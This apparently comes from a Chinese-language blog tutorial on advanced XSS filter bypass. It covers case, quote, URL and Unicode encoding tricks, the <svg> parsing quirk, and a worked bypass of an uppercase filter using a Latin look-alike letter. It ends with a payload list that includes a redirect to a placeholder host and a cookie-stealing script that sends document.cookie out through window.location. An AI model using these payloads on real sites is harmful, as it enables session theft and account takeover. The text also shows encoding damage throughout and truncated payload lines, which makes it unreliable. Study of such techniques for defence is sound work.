XSS進(jìn)階版 01 1 原理 雖然之前寫(xiě)過(guò),但并不全(是水文),而這期進(jìn)階版,其中幾個(gè)概念必須得先說(shuō)一下 1 html字符實(shí)體 為什么要講這個(gè)呢,因?yàn)镠TML中有些字符是和關(guān)鍵詞沖突的,比如<、>、&,解碼之后,瀏覽器會(huì)誤認(rèn)為它們是標(biāo)簽 php其中有個(gè)函數(shù) htmlspecialchars() 函數(shù)就是將一些會(huì)產(chǎn)生歧義的符號(hào)轉(zhuǎn)移成實(shí)體編號(hào),對(duì)xss起到了防護(hù)作用。 2 解析機(jī)制 解析一篇HTML文檔時(shí)主要有三個(gè)處理過(guò)程:HTML解析,URL解析和JavaScript解析,一般先是HTML解析,后面兩個(gè)解析看情況而定,但大多數(shù)都是HTML解析->URL解析->JavaScript解析 3 服務(wù)器與黑客交互機(jī)制 之前的文章(水文)說(shuō)過(guò),可以回去復(fù)習(xí)一下 https://mp.weixin.qq.com/s?__biz=MzkzMjIxMDU5OA==&mid=2247483772&idx=1&sn=8760c7a4086314a6c1962397ec9539cf&chksm=c25e73b5f529faa36aa9d3dc2bb5e552dfe0959f8c80e11f6c7418749257d1ac2b31ec8faee9&token=1378834015&lang=zh_CN#rd 4 危害 除了以下危害還有很多,感興趣的面向百度⑧ 02 基本概念都說(shuō)過(guò)了,現(xiàn)在就直接進(jìn)入干貨了 繞過(guò)過(guò)程: 1 大小寫(xiě)繞過(guò) 這沒(méi)啥好說(shuō)的 <script>alert(zac)</script> 更換成 <ScrIpT>alert(zac)</sCripT> 2 空寫(xiě)繞過(guò) 當(dāng)網(wǎng)站過(guò)濾了onerror 過(guò)濾了script 這些敏感字符,但是“ 或者 ' 這種符號(hào)會(huì)變成空可以繞過(guò),例如代碼 <img src=zac oner”ror=alert(ZAC)> 3 編碼繞過(guò) 這是目前來(lái)說(shuō)繞過(guò)最常用,使用最多的手段了,利用不同的編碼機(jī)制去繞過(guò),有幾個(gè)例子 例1: <script>alert(“zac”)</scrIpt> 這是利用了unicode編碼,將r轉(zhuǎn)換成r來(lái)繞過(guò) 例2: 如下,經(jīng)過(guò)了Html解析之后,進(jìn)入href,就開(kāi)始url解析了,沒(méi)有把協(xié)議給編碼,被URL解析器正確識(shí)別。然后URL解析器繼續(xù)解析鏈接剩下的部分,最后就會(huì)觸發(fā)xss <a href='javascript:%61%6c%65%72%74%28%31%29'></a> %61%6c%65%72%74%28%31%29這行payload解碼就會(huì)變?yōu)閍lert(1) 例3 我們來(lái)按照瀏覽器的規(guī)律,解析一下 <a href='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(zac)'> </a> 第一次html解析 第二次url解析 第三次js解析(unicode) 例4 <svg>標(biāo)簽 當(dāng)我們的payload的是: <script>alert(1)</script> 可以發(fā)現(xiàn),瀏覽器屁反應(yīng)都沒(méi)有 但是當(dāng)我們?cè)趐ayload的前加上<svg>的時(shí)候 可以發(fā)現(xiàn),界面彈窗了,這是為啥呢 這是因?yàn)榻馕龅?lt;svg>標(biāo)簽時(shí),瀏覽器就開(kāi)始使用一套新的標(biāo)準(zhǔn)開(kāi)始解析后面的內(nèi)容,直到碰到閉合標(biāo)簽</svg>。而在這一套新的標(biāo)準(zhǔn)遵循XML解析規(guī)則,在XML中實(shí)體編碼會(huì)自動(dòng)轉(zhuǎn)義,重新來(lái)一遍標(biāo)簽開(kāi)啟狀態(tài),此時(shí)就會(huì)執(zhí)行xss了。 4 小型實(shí)戰(zhàn) 我們先來(lái)看一下代碼 當(dāng)我們輸入<script>alert(zac)</script>時(shí) 會(huì)輸出<_SCRIPT>ALERT(ZAC) 可以看到,這個(gè)過(guò)濾機(jī)制就是利用strupper函數(shù),將字符串變成大寫(xiě),這是我們要考慮的第一個(gè)問(wèn)題,第二個(gè)就是在<符號(hào)后面加了_,這是第二個(gè)問(wèn)題,解決這兩個(gè)問(wèn)題,我們才能正常的彈出xss js是區(qū)分大小寫(xiě)的,所以直接在標(biāo)簽內(nèi)寫(xiě)彈窗腳本是不太可行的,但是我們可以直接引入外部的js,比如<script src=ZZZZAAACCC></script>,這就可以繞過(guò) 那么下斜杠怎么辦呢? 因?yàn)楹笈_(tái)匹配的是<符號(hào)后面接上正常的字母,如果使用的是不正常的英文字母呢?這里剛好有另外一個(gè)條件就是轉(zhuǎn)化大寫(xiě)的這個(gè)操作,這個(gè)操作很妙,因?yàn)镠TML標(biāo)簽是不區(qū)分大小寫(xiě)的,這樣我們使用下圖的這個(gè)拉丁字母,當(dāng)轉(zhuǎn)化成大寫(xiě)的話(huà)就剛好是S 所以最后的payload就是 <?cript src=XXXX></script> 這樣我們就可以繞過(guò)啦 5 一些xss的payload 1 網(wǎng)站跳轉(zhuǎn) <script>window.location.</script> <meta content='1;http://www.ZACURL.com/' http-equiv='refresh'> 2 cookie盜取 <script>window.location.+escape(document.cookie)</script> 3 不同的彈窗 后記 順便提一嘴,我們學(xué)校的紙面滲透授權(quán)書(shū)已經(jīng)在要了,等要到了有想鍛煉的dd我 然后我文章里那個(gè)輸入法,就是怕別人盜圖惡心我整的,我愛(ài)阿貍!耶! ![]() |
|